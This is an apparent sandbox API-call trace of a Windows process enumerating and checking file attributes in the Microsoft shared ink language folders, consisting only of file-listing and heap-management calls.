[0121.856] GetLastError () returned 0x12 [0121.856] GetLastError () returned 0x12 [0121.856] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0121.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0121.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0121.857] GetCurrentThreadId () returned 0x9b0 [0121.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0121.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0121.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.857] GetLastError () returned 0x12 [0121.857] GetLastError () returned 0x12 [0121.857] GetLastError () returned 0x12 [0121.857] GetLastError () returned 0x12 [0121.857] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0121.857] GetLastError () returned 0x12 [0121.858] GetCurrentThreadId () returned 0x9b0 [0121.858] GetLastError () returned 0x12 [0121.858] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.858] GetLastError () returned 0x12 [0121.858] GetCurrentThreadId () returned 0x9b0 [0121.858] GetLastError () returned 0x12 [0121.858] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.858] GetLastError () returned 0x12 [0121.858] GetCurrentThreadId () returned 0x9b0 [0121.858] GetLastError () returned 0x12 [0121.858] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0121.858] GetLastError () returned 0x12 [0121.859] GetCurrentThreadId () returned 0x9b0 [0121.859] GetLastError () returned 0x12 [0121.859] GetLastError () returned 0x12 [0121.859] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0121.859] GetCurrentThreadId () returned 0x9b0 [0121.859] GetLastError () returned 0x12 [0121.859] GetLastError () returned 0x12 [0121.859] GetLastError () returned 0x12 [0121.859] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0121.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2670 | out: hHeap=0x2ad0000) returned 1 [0121.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0121.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.860] GetCurrentThreadId () returned 0x9b0 [0121.860] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui", lpFilePart=0x9bada4*="tipresx.dll.mui") returned 0x48 [0121.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0121.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0121.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0121.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0121.861] GetCurrentThreadId () returned 0x9b0 [0121.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.861] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0121.862] GetCurrentThreadId () returned 0x9b0 [0121.862] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0121.863] GetCurrentThreadId () returned 0x9b0 [0121.863] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0121.863] GetCurrentThreadId () returned 0x9b0 [0121.863] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0121.863] GetCurrentThreadId () returned 0x9b0 [0121.863] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0121.863] GetCurrentThreadId () returned 0x9b0 [0121.863] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0121.863] GetCurrentThreadId () returned 0x9b0 [0121.863] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0121.864] GetCurrentThreadId () returned 0x9b0 [0121.864] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0121.864] GetCurrentThreadId () returned 0x9b0 [0121.864] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0121.864] GetCurrentThreadId () returned 0x9b0 [0121.864] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0121.864] GetCurrentThreadId () returned 0x9b0 [0121.864] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0121.864] GetCurrentThreadId () returned 0x9b0 [0121.864] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0121.865] GetCurrentThreadId () returned 0x9b0 [0121.865] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0121.865] GetCurrentThreadId () returned 0x9b0 [0121.865] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0121.865] GetCurrentThreadId () returned 0x9b0 [0121.865] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0121.865] GetCurrentThreadId () returned 0x9b0 [0121.865] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0121.865] GetCurrentThreadId () returned 0x9b0 [0121.865] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0121.865] GetCurrentThreadId () returned 0x9b0 [0121.866] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0121.866] GetCurrentThreadId () returned 0x9b0 [0121.866] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0121.866] GetCurrentThreadId () returned 0x9b0 [0121.866] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0121.866] GetCurrentThreadId () returned 0x9b0 [0121.866] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0121.866] GetCurrentThreadId () returned 0x9b0 [0121.866] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0121.867] GetCurrentThreadId () returned 0x9b0 [0121.867] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0121.867] GetCurrentThreadId () returned 0x9b0 [0121.867] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0121.867] GetCurrentThreadId () returned 0x9b0 [0121.867] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0121.867] GetCurrentThreadId () returned 0x9b0 [0121.867] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0121.867] GetCurrentThreadId () returned 0x9b0 [0121.867] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0121.868] GetCurrentThreadId () returned 0x9b0 [0121.868] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0121.870] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0121.870] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.870] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0121.870] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0121.870] GetCurrentThreadId () returned 0x9b0 [0121.870] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0121.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0121.871] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0121.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0121.872] GetCurrentThreadId () returned 0x9b0 [0121.872] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0121.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0121.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x33ea278 [0121.872] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0121.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0121.873] GetCurrentThreadId () returned 0x9b0 [0121.873] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0121.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c78 | out: hHeap=0x2ad0000) returned 1 [0121.873] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0121.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0121.876] GetCurrentThreadId () returned 0x9b0 [0121.876] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0121.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0121.876] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea278, Size=0x40) returned 0x3887728 [0121.876] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0121.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0121.877] GetCurrentThreadId () returned 0x9b0 [0121.877] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0121.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0121.878] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0121.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0121.878] 